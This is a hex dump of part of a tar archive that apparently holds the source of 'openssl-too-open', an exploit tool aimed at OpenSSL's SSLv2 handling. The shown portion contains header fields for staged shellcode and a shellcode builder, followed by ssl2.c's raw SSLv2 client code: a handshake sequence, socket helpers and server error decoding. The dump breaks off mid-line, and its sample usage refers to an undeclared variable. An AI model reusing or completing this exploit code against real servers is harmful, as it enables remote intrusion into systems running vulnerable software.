|00001130| 6c 63 6f 64 65 5f 73 74 | 61 67 65 32 3b 0a 09 69 |lcode_st|age2;..i|
|00001140| 6e 74 20 73 68 65 6c 6c | 63 6f 64 65 5f 73 74 61 |nt shell|code_sta|
|00001150| 67 65 32 5f 6c 65 6e 3b | 0a 0a 09 2f 2a 20 74 68 |ge2_len;|.../* th|
|00001160| 65 20 74 61 67 20 77 72 | 69 74 74 65 6e 20 62 79 |e tag wr|itten by|
|00001170| 20 74 68 65 20 73 74 61 | 67 65 31 20 73 68 65 6c | the sta|ge1 shel|
|00001180| 6c 63 6f 64 65 20 2a 2f | 0a 09 75 6e 73 69 67 6e |lcode */|..unsign|
|00001190| 65 64 20 63 68 61 72 2a | 20 74 61 67 3b 0a 09 69 |ed char*| tag;..i|
|000011a0| 6e 74 20 74 61 67 5f 6c | 65 6e 3b 0a 0a 09 67 65 |nt tag_l|en;...ge|
|000011b0| 74 5f 63 69 70 68 65 72 | 5f 66 75 6e 63 20 67 65 |t_cipher|_func ge|
|000011c0| 74 5f 63 69 70 68 65 72 | 3b 0a 09 67 65 74 5f 63 |t_cipher|;..get_c|
|000011d0| 69 70 68 65 72 5f 66 75 | 6e 63 20 67 65 74 5f 63 |ipher_fu|nc get_c|
|000011e0| 69 70 68 65 72 73 3b 0a | 09 62 75 69 6c 64 5f 73 |iphers;.|.build_s|
|000011f0| 68 65 6c 6c 63 6f 64 65 | 5f 66 75 6e 63 20 62 75 |hellcode|_func bu|
|00001200| 69 6c 64 5f 73 68 65 6c | 6c 63 6f 64 65 3b 0a 7d |ild_shel|lcode;.}|
|00001210| 3b 0a 0a 2f 2a 20 45 4f | 46 20 2a 2f 0a 00 00 00 |;../* EO|F */....|
|00001220| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001230| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001240| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001250| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001260| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001270| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001280| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001290| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000012a0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000012b0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000012c0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000012d0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000012e0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000012f0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001300| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001310| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001320| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001330| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001340| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001350| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001360| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001370| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001380| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001390| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000013a0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000013b0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000013c0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000013d0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000013e0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000013f0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001400| 6f 70 65 6e 73 73 6c 2d | 74 6f 6f 2d 6f 70 65 6e |openssl-|too-open|
|00001410| 2f 73 73 6c 32 2e 63 00 | 00 00 00 00 00 00 00 00 |/ssl2.c.|........|
|00001420| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001430| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001440| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001450| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001460| 00 00 00 00 30 31 30 30 | 36 34 34 00 30 30 30 31 |....0100|644.0001|
|00001470| 37 35 30 00 30 30 30 31 | 37 35 31 00 30 30 30 30 |750.0001|751.0000|
|00001480| 30 30 34 31 32 30 33 00 | 30 37 35 34 30 32 33 32 |0041203.|07540232|
|00001490| 31 33 36 00 30 31 35 32 | 34 32 00 20 30 00 00 00 |136.0152|42. 0...|
|000014a0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000014b0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000014c0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000014d0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000014e0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000014f0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001500| 00 75 73 74 61 72 20 20 | 00 73 6c 75 6e 63 68 6f |.ustar  |.sluncho|
|00001510| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001520| 00 00 00 00 00 00 00 00 | 00 73 6c 75 6e 63 68 6f |........|.sluncho|
|00001530| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001540| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001550| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001560| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001570| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001580| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001590| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000015a0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000015b0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000015c0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000015d0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000015e0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000015f0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001600| 2f 2a 20 53 61 6d 70 6c | 65 20 75 73 61 67 65 3a |/* Sampl|e usage:|
|00001610| 0a 0a 09 73 74 72 75 63 | 74 20 73 73 6c 5f 63 6f |...struc|t ssl_co|
|00001620| 6e 6e 2a 20 73 73 6c 3b | 0a 09 0a 09 73 73 6c 20 |nn* ssl;|....ssl |
|00001630| 3d 20 73 73 6c 5f 63 6f | 6e 6e 65 63 74 5f 68 6f |= ssl_co|nnect_ho|
|00001640| 73 74 28 68 6f 73 74 2c | 20 70 6f 72 74 29 3b 0a |st(host,| port);.|
|00001650| 0a 09 73 65 6e 64 5f 63 | 6c 69 65 6e 74 5f 68 65 |..send_c|lient_he|
|00001660| 6c 6c 6f 28 73 73 6c 29 | 3b 0a 09 67 65 74 5f 73 |llo(ssl)|;..get_s|
|00001670| 65 72 76 65 72 5f 68 65 | 6c 6c 6f 28 73 73 6c 29 |erver_he|llo(ssl)|
|00001680| 3b 0a 09 73 65 6e 64 5f | 63 6c 69 65 6e 74 5f 6d |;..send_|client_m|
|00001690| 61 73 74 65 72 5f 6b 65 | 79 28 73 73 6c 2c 20 62 |aster_ke|y(ssl, b|
|000016a0| 75 66 2c 20 6c 65 6e 29 | 3b 0a 09 67 65 6e 65 72 |uf, len)|;..gener|
|000016b0| 61 74 65 5f 73 65 73 73 | 69 6f 6e 5f 6b 65 79 73 |ate_sess|ion_keys|
|000016c0| 28 73 73 6c 29 3b 0a 09 | 67 65 74 5f 73 65 72 76 |(ssl);..|get_serv|
|000016d0| 65 72 5f 76 65 72 69 66 | 79 28 73 73 6c 29 3b 0a |er_verif|y(ssl);.|
|000016e0| 09 73 65 6e 64 5f 63 6c | 69 65 6e 74 5f 66 69 6e |.send_cl|ient_fin|
|000016f0| 69 73 68 65 64 28 73 73 | 6c 29 3b 0a 09 6c 65 6e |ished(ss|l);..len|
|00001700| 20 3d 20 67 65 74 5f 73 | 65 72 76 65 72 5f 66 69 | = get_s|erver_fi|
|00001710| 6e 69 73 68 65 64 28 73 | 73 6c 31 2c 20 62 75 66 |nished(s|sl1, buf|
|00001720| 2c 20 42 55 46 53 49 5a | 45 29 3b 0a 2a 2f 0a 0a |, BUFSIZ|E);.*/..|
|00001730| 23 69 6e 63 6c 75 64 65 | 20 3c 61 72 70 61 2f 69 |#include| <arpa/i|
|00001740| 6e 65 74 2e 68 3e 0a 23 | 69 6e 63 6c 75 64 65 20 |net.h>.#|include |
|00001750| 3c 6e 65 74 69 6e 65 74 | 2f 69 6e 2e 68 3e 0a 23 |<netinet|/in.h>.#|
|00001760| 69 6e 63 6c 75 64 65 20 | 3c 73 79 73 2f 74 79 70 |include |<sys/typ|
|00001770| 65 73 2e 68 3e 0a 23 69 | 6e 63 6c 75 64 65 20 3c |es.h>.#i|nclude <|
|00001780| 73 79 73 2f 73 6f 63 6b | 65 74 2e 68 3e 0a 23 69 |sys/sock|et.h>.#i|
|00001790| 6e 63 6c 75 64 65 20 3c | 75 6e 69 73 74 64 2e 68 |nclude <|unistd.h|
|000017a0| 3e 0a 23 69 6e 63 6c 75 | 64 65 20 3c 65 72 72 6e |>.#inclu|de <errn|
|000017b0| 6f 2e 68 3e 0a 23 69 6e | 63 6c 75 64 65 20 3c 73 |o.h>.#in|clude <s|
|000017c0| 74 72 69 6e 67 2e 68 3e | 0a 23 69 6e 63 6c 75 64 |tring.h>|.#includ|
|000017d0| 65 20 3c 73 74 64 69 6f | 2e 68 3e 0a 0a 23 69 6e |e <stdio|.h>..#in|
|000017e0| 63 6c 75 64 65 20 3c 6f | 70 65 6e 73 73 6c 2f 73 |clude <o|penssl/s|
|000017f0| 73 6c 2e 68 3e 0a 23 69 | 6e 63 6c 75 64 65 20 3c |sl.h>.#i|nclude <|
|00001800| 6f 70 65 6e 73 73 6c 2f | 72 73 61 2e 68 3e 0a 23 |openssl/|rsa.h>.#|
|00001810| 69 6e 63 6c 75 64 65 20 | 3c 6f 70 65 6e 73 73 6c |include |<openssl|
|00001820| 2f 78 35 30 39 2e 68 3e | 0a 23 69 6e 63 6c 75 64 |/x509.h>|.#includ|
|00001830| 65 20 3c 6f 70 65 6e 73 | 73 6c 2f 65 76 70 2e 68 |e <opens|sl/evp.h|
|00001840| 3e 0a 0a 23 69 6e 63 6c | 75 64 65 20 22 73 73 6c |>..#incl|ude "ssl|
|00001850| 32 2e 68 22 0a 0a 65 78 | 74 65 72 6e 20 69 6e 74 |2.h"..ex|tern int|
|00001860| 20 65 72 72 6e 6f 3b 0a | 0a 2f 2a 20 73 74 72 61 | errno;.|./* stra|
|00001870| 69 67 68 74 20 66 72 6f | 6d 20 74 68 65 20 6f 70 |ight fro|m the op|
|00001880| 65 6e 73 73 6c 20 73 6f | 75 72 63 65 20 2a 2f 0a |enssl so|urce */.|
|00001890| 23 64 65 66 69 6e 65 20 | 6e 32 73 28 63 2c 73 29 |#define |n2s(c,s)|
|000018a0| 20 20 20 20 28 28 73 3d | 28 28 28 75 6e 73 69 67 |    ((s=|(((unsig|
|000018b0| 6e 65 64 20 69 6e 74 29 | 28 63 5b 30 5d 29 29 3c |ned int)|(c[0]))<|
|000018c0| 3c 20 38 29 7c 20 5c 0a | 09 28 28 28 75 6e 73 69 |< 8)| \.|.(((unsi|
|000018d0| 67 6e 65 64 20 69 6e 74 | 29 28 63 5b 31 5d 29 29 |gned int|)(c[1]))|
|000018e0| 20 20 20 20 29 29 2c 63 | 2b 3d 32 29 0a 23 64 65 |    )),c|+=2).#de|
|000018f0| 66 69 6e 65 20 73 32 6e | 28 73 2c 63 29 20 20 20 |fine s2n|(s,c)   |
|00001900| 20 28 28 63 5b 30 5d 3d | 28 75 6e 73 69 67 6e 65 | ((c[0]=|(unsigne|
|00001910| 64 20 63 68 61 72 29 28 | 28 28 73 29 3e 3e 20 38 |d char)(|((s)>> 8|
|00001920| 29 26 30 78 66 66 29 2c | 20 5c 0a 09 63 5b 31 5d |)&0xff),| \..c[1]|
|00001930| 3d 28 75 6e 73 69 67 6e | 65 64 20 63 68 61 72 29 |=(unsign|ed char)|
|00001940| 28 28 28 73 29 20 20 20 | 20 29 26 30 78 66 66 29 |(((s)   | )&0xff)|
|00001950| 29 2c 63 2b 3d 32 29 0a | 0a 2f 2a 20 52 65 74 75 |),c+=2).|./* Retu|
|00001960| 72 6e 73 20 74 68 65 20 | 6c 6f 63 61 6c 20 70 6f |rns the |local po|
|00001970| 72 74 20 6f 66 20 61 20 | 63 6f 6e 6e 65 63 74 65 |rt of a |connecte|
|00001980| 64 20 73 6f 63 6b 65 74 | 20 2a 2f 0a 69 6e 74 20 |d socket| */.int |
|00001990| 67 65 74 5f 6c 6f 63 61 | 6c 5f 70 6f 72 74 28 69 |get_loca|l_port(i|
|000019a0| 6e 74 20 73 6f 63 6b 29 | 0a 7b 0a 09 73 74 72 75 |nt sock)|.{..stru|
|000019b0| 63 74 20 73 6f 63 6b 61 | 64 64 72 5f 69 6e 20 73 |ct socka|ddr_in s|
|000019c0| 5f 69 6e 3b 0a 09 75 6e | 73 69 67 6e 65 64 20 69 |_in;..un|signed i|
|000019d0| 6e 74 20 6e 61 6d 65 6c | 65 6e 20 3d 20 73 69 7a |nt namel|en = siz|
|000019e0| 65 6f 66 28 73 5f 69 6e | 29 3b 0a 0a 09 69 66 20 |eof(s_in|);...if |
|000019f0| 28 67 65 74 73 6f 63 6b | 6e 61 6d 65 28 73 6f 63 |(getsock|name(soc|
|00001a00| 6b 2c 20 28 73 74 72 75 | 63 74 20 73 6f 63 6b 61 |k, (stru|ct socka|
|00001a10| 64 64 72 20 2a 29 26 73 | 5f 69 6e 2c 20 26 6e 61 |ddr *)&s|_in, &na|
|00001a20| 6d 65 6c 65 6e 29 20 3c | 20 30 29 20 7b 0a 09 09 |melen) <| 0) {...|
|00001a30| 70 72 69 6e 74 66 28 22 | 43 61 6e 27 74 20 67 65 |printf("|Can't ge|
|00001a40| 74 20 6c 6f 63 61 6c 20 | 70 6f 72 74 3a 20 25 73 |t local |port: %s|
|00001a50| 5c 6e 22 2c 20 73 74 72 | 65 72 72 6f 72 28 65 72 |\n", str|error(er|
|00001a60| 72 6e 6f 29 29 3b 0a 09 | 09 65 78 69 74 28 31 29 |rno));..|.exit(1)|
|00001a70| 3b 0a 09 7d 0a 0a 09 72 | 65 74 75 72 6e 20 6e 74 |;..}...r|eturn nt|
|00001a80| 6f 68 73 28 73 5f 69 6e | 2e 73 69 6e 5f 70 6f 72 |ohs(s_in|.sin_por|
|00001a90| 74 29 3b 0a 7d 0a 0a 2f | 2a 20 43 6f 6e 6e 65 63 |t);.}../|* Connec|
|00001aa0| 74 20 74 6f 20 61 20 68 | 6f 73 74 20 2a 2f 0a 69 |t to a h|ost */.i|
|00001ab0| 6e 74 20 63 6f 6e 6e 65 | 63 74 5f 68 6f 73 74 28 |nt conne|ct_host(|
|00001ac0| 69 6e 5f 61 64 64 72 5f | 74 20 68 6f 73 74 2c 20 |in_addr_|t host, |
|00001ad0| 69 6e 74 20 70 6f 72 74 | 29 0a 7b 0a 09 73 74 72 |int port|).{..str|
|00001ae0| 75 63 74 20 73 6f 63 6b | 61 64 64 72 5f 69 6e 20 |uct sock|addr_in |
|00001af0| 73 5f 69 6e 3b 0a 09 69 | 6e 74 20 73 6f 63 6b 3b |s_in;..i|nt sock;|
|00001b00| 0a 0a 09 73 5f 69 6e 2e | 73 69 6e 5f 66 61 6d 69 |...s_in.|sin_fami|
|00001b10| 6c 79 20 3d 20 41 46 5f | 49 4e 45 54 3b 0a 09 73 |ly = AF_|INET;..s|
|00001b20| 5f 69 6e 2e 73 69 6e 5f | 61 64 64 72 2e 73 5f 61 |_in.sin_|addr.s_a|
|00001b30| 64 64 72 20 3d 20 68 6f | 73 74 3b 0a 09 73 5f 69 |ddr = ho|st;..s_i|
|00001b40| 6e 2e 73 69 6e 5f 70 6f | 72 74 20 3d 20 68 74 6f |n.sin_po|rt = hto|
|00001b50| 6e 73 28 70 6f 72 74 29 | 3b 0a 0a 09 69 66 20 28 |ns(port)|;...if (|
|00001b60| 28 73 6f 63 6b 20 3d 20 | 73 6f 63 6b 65 74 28 41 |(sock = |socket(A|
|00001b70| 46 5f 49 4e 45 54 2c 20 | 53 4f 43 4b 5f 53 54 52 |F_INET, |SOCK_STR|
|00001b80| 45 41 4d 2c 20 30 29 29 | 20 3c 3d 20 30 29 20 7b |EAM, 0))| <= 0) {|
|00001b90| 0a 09 09 70 72 69 6e 74 | 66 28 22 43 6f 75 6c 64 |...print|f("Could|
|00001ba0| 20 6e 6f 74 20 63 72 65 | 61 74 65 20 61 20 73 6f | not cre|ate a so|
|00001bb0| 63 6b 65 74 5c 6e 22 29 | 3b 0a 09 09 65 78 69 74 |cket\n")|;...exit|
|00001bc0| 28 31 29 3b 0a 09 7d 0a | 0a 09 69 66 20 28 63 6f |(1);..}.|..if (co|
|00001bd0| 6e 6e 65 63 74 28 73 6f | 63 6b 2c 20 28 73 74 72 |nnect(so|ck, (str|
|00001be0| 75 63 74 20 73 6f 63 6b | 61 64 64 72 20 2a 29 26 |uct sock|addr *)&|
|00001bf0| 73 5f 69 6e 2c 20 73 69 | 7a 65 6f 66 28 73 5f 69 |s_in, si|zeof(s_i|
|00001c00| 6e 29 29 20 3c 20 30 29 | 20 7b 0a 09 09 70 72 69 |n)) < 0)| {...pri|
|00001c10| 6e 74 66 28 22 43 6f 6e | 6e 65 63 74 69 6f 6e 20 |ntf("Con|nection |
|00001c20| 66 61 69 6c 65 64 3a 20 | 25 73 5c 6e 22 2c 20 73 |failed: |%s\n", s|
|00001c30| 74 72 65 72 72 6f 72 28 | 65 72 72 6e 6f 29 29 3b |trerror(|errno));|
|00001c40| 0a 09 09 65 78 69 74 28 | 31 29 3b 0a 09 7d 0a 0a |...exit(|1);..}..|
|00001c50| 09 72 65 74 75 72 6e 20 | 73 6f 63 6b 3b 0a 7d 0a |.return |sock;.}.|
|00001c60| 0a 2f 2a 20 43 72 65 61 | 74 65 20 61 20 6e 65 77 |./* Crea|te a new|
|00001c70| 20 73 73 6c 5f 63 6f 6e | 6e 20 73 74 72 75 63 74 | ssl_con|n struct|
|00001c80| 75 72 65 20 61 6e 64 20 | 63 6f 6e 6e 65 63 74 20 |ure and |connect |
|00001c90| 74 6f 20 61 20 68 6f 73 | 74 20 2a 2f 0a 73 74 72 |to a hos|t */.str|
|00001ca0| 75 63 74 20 73 73 6c 5f | 63 6f 6e 6e 2a 20 73 73 |uct ssl_|conn* ss|
|00001cb0| 6c 5f 63 6f 6e 6e 65 63 | 74 5f 68 6f 73 74 28 69 |l_connec|t_host(i|
|00001cc0| 6e 5f 61 64 64 72 5f 74 | 20 68 6f 73 74 2c 20 69 |n_addr_t| host, i|
|00001cd0| 6e 74 20 70 6f 72 74 2c | 20 69 6e 74 20 76 65 72 |nt port,| int ver|
|00001ce0| 62 6f 73 65 29 0a 7b 0a | 09 73 74 72 75 63 74 20 |bose).{.|.struct |
|00001cf0| 73 73 6c 5f 63 6f 6e 6e | 2a 20 73 73 6c 3b 0a 09 |ssl_conn|* ssl;..|
|00001d00| 0a 09 69 66 20 28 76 65 | 72 62 6f 73 65 29 20 70 |..if (ve|rbose) p|
|00001d10| 72 69 6e 74 66 28 22 20 | 2d 3e 20 73 73 6c 5f 63 |rintf(" |-> ssl_c|
|00001d20| 6f 6e 6e 65 63 74 5f 68 | 6f 73 74 5c 6e 22 29 3b |onnect_h|ost\n");|
|00001d30| 0a 0a 09 69 66 20 28 21 | 28 73 73 6c 20 3d 20 28 |...if (!|(ssl = (|
|00001d40| 73 74 72 75 63 74 20 73 | 73 6c 5f 63 6f 6e 6e 2a |struct s|sl_conn*|
|00001d50| 29 20 6d 61 6c 6c 6f 63 | 28 73 69 7a 65 6f 66 28 |) malloc|(sizeof(|
|00001d60| 73 74 72 75 63 74 20 73 | 73 6c 5f 63 6f 6e 6e 29 |struct s|sl_conn)|
|00001d70| 29 29 29 20 7b 0a 09 09 | 70 72 69 6e 74 66 28 22 |))) {...|printf("|
|00001d80| 43 61 6e 27 74 20 61 6c | 6c 6f 63 61 74 65 20 6d |Can't al|locate m|
|00001d90| 65 6d 6f 72 79 5c 6e 22 | 29 3b 0a 09 09 65 78 69 |emory\n"|);...exi|
|00001da0| 74 28 31 29 3b 0a 09 7d | 0a 09 0a 09 2f 2a 20 49 |t(1);..}|..../* I|
|00001db0| 6e 69 74 69 61 6c 69 7a | 65 20 73 6f 6d 65 20 76 |nitializ|e some v|
|00001dc0| 61 6c 75 65 73 20 2a 2f | 0a 09 73 73 6c 2d 3e 65 |alues */|..ssl->e|
|00001dd0| 6e 63 72 79 70 74 65 64 | 20 3d 20 30 3b 0a 09 73 |ncrypted| = 0;..s|
|00001de0| 73 6c 2d 3e 77 72 69 74 | 65 5f 73 65 71 20 3d 20 |sl->writ|e_seq = |
|00001df0| 30 3b 0a 09 73 73 6c 2d | 3e 72 65 61 64 5f 73 65 |0;..ssl-|>read_se|
|00001e00| 71 20 3d 20 30 3b 0a 09 | 73 73 6c 2d 3e 76 65 72 |q = 0;..|ssl->ver|
|00001e10| 62 6f 73 65 20 3d 20 76 | 65 72 62 6f 73 65 3b 0a |bose = v|erbose;.|
|00001e20| 0a 09 73 73 6c 2d 3e 63 | 69 70 68 65 72 20 3d 20 |..ssl->c|ipher = |
|00001e30| 30 3b 0a 09 73 73 6c 2d | 3e 63 69 70 68 65 72 73 |0;..ssl-|>ciphers|
|00001e40| 20 3d 20 30 3b 0a 0a 09 | 73 73 6c 2d 3e 73 6f 63 | = 0;...|ssl->soc|
|00001e50| 6b 20 3d 20 63 6f 6e 6e | 65 63 74 5f 68 6f 73 74 |k = conn|ect_host|
|00001e60| 28 68 6f 73 74 2c 20 70 | 6f 72 74 29 3b 0a 0a 09 |(host, p|ort);...|
|00001e70| 72 65 74 75 72 6e 20 73 | 73 6c 3b 0a 7d 0a 0a 2f |return s|sl;.}../|
|00001e80| 2a 20 63 6c 6f 73 65 73 | 20 74 68 65 20 73 6f 63 |* closes| the soc|
|00001e90| 6b 65 74 20 61 6e 64 20 | 64 65 73 74 72 6f 79 73 |ket and |destroys|
|00001ea0| 20 74 68 65 20 73 73 6c | 20 73 74 72 75 63 74 75 | the ssl| structu|
|00001eb0| 72 65 20 2a 2f 0a 69 6e | 74 20 73 73 6c 5f 63 6c |re */.in|t ssl_cl|
|00001ec0| 6f 73 65 28 73 74 72 75 | 63 74 20 73 73 6c 5f 63 |ose(stru|ct ssl_c|
|00001ed0| 6f 6e 6e 2a 20 73 73 6c | 29 0a 7b 0a 09 63 6c 6f |onn* ssl|).{..clo|
|00001ee0| 73 65 28 73 73 6c 2d 3e | 73 6f 63 6b 29 3b 0a 09 |se(ssl->|sock);..|
|00001ef0| 66 72 65 65 28 73 73 6c | 29 3b 0a 0a 09 72 65 74 |free(ssl|);...ret|
|00001f00| 75 72 6e 20 30 3b 0a 7d | 0a 0a 2f 2a 20 63 6f 6e |urn 0;.}|../* con|
|00001f10| 76 65 72 74 73 20 61 6e | 20 53 53 4c 20 65 72 72 |verts an| SSL err|
|00001f20| 6f 72 20 63 6f 64 65 20 | 74 6f 20 61 20 73 74 72 |or code |to a str|
|00001f30| 69 6e 67 20 2a 2f 0a 69 | 6e 74 20 73 73 6c 5f 65 |ing */.i|nt ssl_e|
|00001f40| 72 72 6f 72 28 73 74 72 | 75 63 74 20 73 73 6c 5f |rror(str|uct ssl_|
|00001f50| 63 6f 6e 6e 2a 20 73 73 | 6c 2c 20 69 6e 74 20 63 |conn* ss|l, int c|
|00001f60| 6f 64 65 29 0a 7b 0a 09 | 73 73 6c 2d 3e 65 72 72 |ode).{..|ssl->err|
|00001f70| 20 3d 20 53 53 4c 5f 53 | 45 52 56 45 52 5f 45 52 | = SSL_S|ERVER_ER|
|00001f80| 52 4f 52 3b 0a 09 0a 09 | 73 77 69 74 63 68 20 28 |ROR;....|switch (|
|00001f90| 63 6f 64 65 29 20 7b 0a | 09 09 63 61 73 65 20 30 |code) {.|..case 0|
|00001fa0| 78 30 30 3a 09 73 70 72 | 69 6e 74 66 28 73 73 6c |x00:.spr|intf(ssl|
|00001fb0| 2d 3e 65 72 72 5f 62 75 | 66 2c 20 22 53 65 72 76 |->err_bu|f, "Serv|
|00001fc0| 65 72 20 65 72 72 6f 72 | 3a 20 53 53 4c 32 5f 50 |er error|: SSL2_P|
|00001fd0| 45 5f 55 4e 44 45 46 49 | 4e 45 44 5f 45 52 52 4f |E_UNDEFI|NED_ERRO|
|00001fe0| 52 20 28 30 78 30 30 29 | 22 29 3b 0a 09 09 09 09 |R (0x00)|");.....|
|00001ff0| 09 62 72 65 61 6b 3b 0a | 09 09 63 61 73 65 20 30 |.break;.|..case 0|
|00002000| 78 30 31 3a 09 73 70 72 | 69 6e 74 66 28 73 73 6c |x01:.spr|intf(ssl|
|00002010| 2d 3e 65 72 72 5f 62 75 | 66 2c 20 22 53 65 72 76 |->err_bu|f, "Serv|
|00002020| 65 72 20 65 72 72 6f 72 | 3a 20 53 53 4c 32 5f 50 |er error|: SSL2_P|
|00002030| 45 5f 4e 4f 5f 43 49 50 | 48 45 52 20 28 30 78 30 |E_NO_CIP|HER (0x0|
|00002040| 31 29 22 29 3b 0a 09 09 | 09 09 09 62 72 65 61 6b |1)");...|...break|
|00002050| 3b 0a 09 09 63 61 73 65 | 20 30 78 30 32 3a 09 73 |;...case| 0x02:.s|
|00002060| 70 72 69 6e 74 66 28 73 | 73 6c 2d 3e 65 72 72 5f |printf(s|sl->err_|
|00002070| 62 75 66 2c 20 22 53 65 | 72 76 65 72 20 65 72 72 |buf, "Se|rver err|
|00002080| 6f 72 3a 20 53 53 4c 32 | 5f 50 45 5f 4e 4f 5f 43 |or: SSL2|_PE_NO_C|
|00002090| 45 52 54 49 46 49 43 41 | 54 45 20 28 30 78 30 32 |ERTIFICA|TE (0x02|
|000020a0| 29 22 29 3b 0a 09 09 09 | 09 09 62 72 65 61 6b 3b |)");....|..break;|
|000020b0| 0a 09 09 63 61 73 65 20 | 30 78 30 34 3a 09 73 70 |...case |0x04:.sp|
|000020c0| 72 69 6e 74 66 28 73 73 | 6c 2d 3e 65 72 72 5f 62 |rintf(ss|l->err_b|
|000020d0| 75 66 2c 20 22 53 65 72 | 76 65 72 20 65 72 72 6f |uf, "Ser|ver erro|
|000020e0| 72 3a 20 53 53 4c 32 5f | 50 45 5f 42 41 44 5f 43 |r: SSL2_|PE_BAD_C|
|000020f0| 45 52 54 49 46 49 43 41 | 54 45 20 28 30 78 30 33 |ERTIFICA|TE (0x03|
|00002100| 29 22 29 3b 0a 09 09 09 | 09 09 62 72 65 61 6b 3b |)");....|..break;|
|00002110| 0a 09 09 63 61 73 65 20 | 30 78 30 36 3a 09 73 70 |...case |0x06:.sp|
|00002120| 72 69 6e 74 66 28 73 73 | 6c 2d 3e 65 72 72 5f 62 |rintf(ss|l->err_b|
|00002130| 75 66 2c 20 22 53 65 72 | 76 65 72 20 65 72 72 6f |uf, "Ser|ver erro|
|00002140| 72 3a 20 53 53 4c 32 5f | 50 45 5f 55 4e 53 55 50 |r: SSL2_|PE_UNSUP|
|00002150| 50 4f 52 54 45 44 5f 43 | 45 52 54 49 46 49 43 41 |PORTED_C|ERTIFICA|
|00002160| 54 45 5f 54 59 50 45 20 | 28 30 78 30 36 29 22 29 |TE_TYPE |(0x06)")|
|00002170| 3b 0a 09 09 09 09 09 62 | 72 65 61 6b 3b 0a 09 64 |;......b|reak;..d|
|00002180| 65 66 61 75 6c 74 3a 0a | 09 09 73 70 72 69 6e 74 |efault:.|..sprint|
|00002190| 66 28 73 73 6c 2d 3e 65 | 72 72 5f 62 75 66 2c 20 |f(ssl->e|rr_buf, |
|000021a0| 22 55 6e 72 65 63 6f 67 | 6e 69 7a 65 64 20 73 65 |"Unrecog|nized se|
|000021b0| 72 76 65 72 20 65 72 72 | 6f 72 3a 20 30 78 25 30 |rver err|or: 0x%0|
|000021c0| 32 78 22 2c 20 63 6f 64 | 65 29 3b 0a 09 7d 0a 0a |2x", cod|e);..}..|
|000021d0| 09 72 65 74 75 72 6e 20 | 53 53 4c 5f 45 52 52 4f |.return |SSL_ERRO|
